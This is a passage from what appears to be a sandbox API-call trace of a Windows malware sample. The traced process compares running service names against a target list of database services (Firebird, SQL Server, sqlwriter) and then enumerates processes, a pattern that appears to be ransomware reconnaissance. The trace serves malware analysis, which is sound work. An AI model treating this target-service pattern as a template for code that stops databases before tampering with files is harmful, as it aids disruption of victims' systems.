(lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0293.387] lstrlenW (lpString="Dnscache") returned 8 [0293.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0293.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0293.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0293.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0293.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0293.387] lstrlenW (lpString="DoSvc") returned 5 [0293.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0293.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0293.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0293.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0293.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0293.387] lstrlenW (lpString="DPS") returned 3 [0293.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0293.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0293.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0293.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0293.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0293.387] lstrlenW (lpString="DusmSvc") returned 7 [0293.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0293.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0293.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0293.388] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0293.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0293.388] lstrlenW (lpString="EventLog") returned 8 [0293.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0293.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0293.388] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0293.388] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0293.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0293.388] lstrlenW (lpString="EventSystem") returned 11 [0293.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0293.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0293.388] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0293.388] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0293.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0293.388] lstrlenW (lpString="FontCache") returned 9 [0293.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0293.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0293.388] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0293.388] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0293.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0293.388] lstrlenW (lpString="gpsvc") returned 5 [0293.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0293.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0293.388] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0293.388] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0293.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0293.391] lstrlenW (lpString="iphlpsvc") returned 8 [0293.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0293.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0293.391] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0293.391] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0293.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0293.392] lstrlenW (lpString="KeyIso") returned 6 [0293.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0293.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0293.392] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0293.392] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0293.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0293.392] lstrlenW (lpString="LanmanServer") returned 12 [0293.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0293.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0293.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0293.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0293.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0293.392] lstrlenW (lpString="LanmanWorkstation") returned 17 [0293.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0293.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0293.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0293.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0293.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0293.392] lstrlenW (lpString="lfsvc") returned 5 [0293.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0293.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0293.543] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0293.543] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0293.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0293.543] lstrlenW (lpString="lmhosts") returned 7 [0293.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0293.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0293.543] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0293.543] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0293.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0293.543] lstrlenW (lpString="LSM") returned 3 [0293.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0293.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0293.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0293.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0293.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0293.544] lstrlenW (lpString="MpsSvc") returned 6 [0293.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0293.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0293.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0293.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0293.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0293.544] lstrlenW (lpString="NcbService") returned 10 [0293.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0293.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0293.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0293.544] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0293.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0293.544] lstrlenW (lpString="netprofm") returned 8 [0293.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0293.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0293.544] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0293.544] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0293.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0293.544] lstrlenW (lpString="NgcSvc") returned 6 [0293.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0293.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0293.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0293.544] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0293.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0293.544] lstrlenW (lpString="NlaSvc") returned 6 [0293.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0293.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0293.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0293.544] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0293.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0293.544] lstrlenW (lpString="nsi") returned 3 [0293.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0293.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0293.544] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0293.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0293.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0293.545] lstrlenW (lpString="PcaSvc") returned 6 [0293.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0293.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0293.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0293.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0293.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0293.545] lstrlenW (lpString="PlugPlay") returned 8 [0293.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0293.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0293.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0293.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0293.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0293.545] lstrlenW (lpString="Power") returned 5 [0293.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0293.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0293.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0293.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0293.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0293.545] lstrlenW (lpString="ProfSvc") returned 7 [0293.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0293.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0293.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0293.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0293.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0293.545] lstrlenW (lpString="RpcEptMapper") returned 12 [0293.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0293.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0293.545] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0293.545] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0293.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0293.545] lstrlenW (lpString="RpcSs") returned 5 [0293.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0293.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0293.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0293.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0293.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0293.546] lstrlenW (lpString="SamSs") returned 5 [0293.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0293.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0293.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0293.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0293.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0293.546] lstrlenW (lpString="Schedule") returned 8 [0293.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0293.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0293.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0293.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0293.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0293.546] lstrlenW (lpString="SecurityHealthService") returned 21 [0293.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0293.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0293.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0293.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0293.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0293.546] lstrlenW (lpString="SENS") returned 4 [0293.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0293.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0293.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0293.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0293.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0293.546] lstrlenW (lpString="ShellHWDetection") returned 16 [0293.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0293.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0293.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0293.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0293.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0293.547] lstrlenW (lpString="Spooler") returned 7 [0293.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0293.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0293.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0293.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0293.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0293.547] lstrlenW (lpString="SSDPSRV") returned 7 [0293.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0293.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0293.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0293.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0293.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0293.547] lstrlenW (lpString="StateRepository") returned 15 [0293.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0293.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0293.547] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0293.547] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0293.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0293.547] lstrlenW (lpString="SysMain") returned 7 [0293.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0293.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0293.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0293.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0293.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0293.547] lstrlenW (lpString="SystemEventsBroker") returned 18 [0293.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0293.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0293.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0293.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0293.547] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4568fb8 | out: hHeap=0x6e0000) returned 1 [0293.547] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4e8 [0293.551] Process32FirstW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.551] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0293.552] lstrlenW (lpString="System") returned 6 [0293.552] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0293.553] lstrlenW (lpString="smss.exe") returned 8 [0293.553] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0293.553] lstrlenW (lpString="csrss.exe") returned 9 [0293.553] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0293.554] lstrlenW (lpString="wininit.exe") returned 11 [0293.554] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0293.555] lstrlenW (lpString="csrss.exe") returned 9 [0293.555] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0293.555] lstrlenW (lpString="winlogon.exe") returned 12 [0293.556] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0293.556] lstrlenW (lpString="services.exe") returned 12 [0293.556] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0293.557] lstrlenW (lpString="lsass.exe") returned 9 [0293.557] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0293.558] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0293.558] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0293.558] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0293.558] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.559] lstrlenW (lpString="svchost.exe") returned 11 [0293.559] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.560] lstrlenW (lpString="svchost.exe") returned 11 [0293.560] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0293.560] lstrlenW (lpString="dwm.exe") returned 7 [0293.561] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.561] lstrlenW (lpString="svchost.exe") returned 11 [0293.561] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.562] lstrlenW (lpString="svchost.exe") returned 11 [0293.562] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.563] lstrlenW (lpString="svchost.exe") returned 11 [0293.563] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.563] lstrlenW (lpString="svchost.exe") returned 11 [0293.563] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.564] lstrlenW (lpString="svchost.exe") returned 11 [0293.564] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.565] lstrlenW (lpString="svchost.exe") returned 11 [0293.565] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.565] lstrlenW (lpString="svchost.exe") returned 11 [0293.565] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.566] lstrlenW (lpString="svchost.exe") returned 11 [0293.566] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.567] lstrlenW (lpString="svchost.exe") returned 11 [0293.567] Process32NextW (in: hSnapshot=0x4e8, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.567] lstrlenW (lpString="svchost.exe") returned 11 [0293.567] Process32NextW (in: hSnapshot=0x4e8, 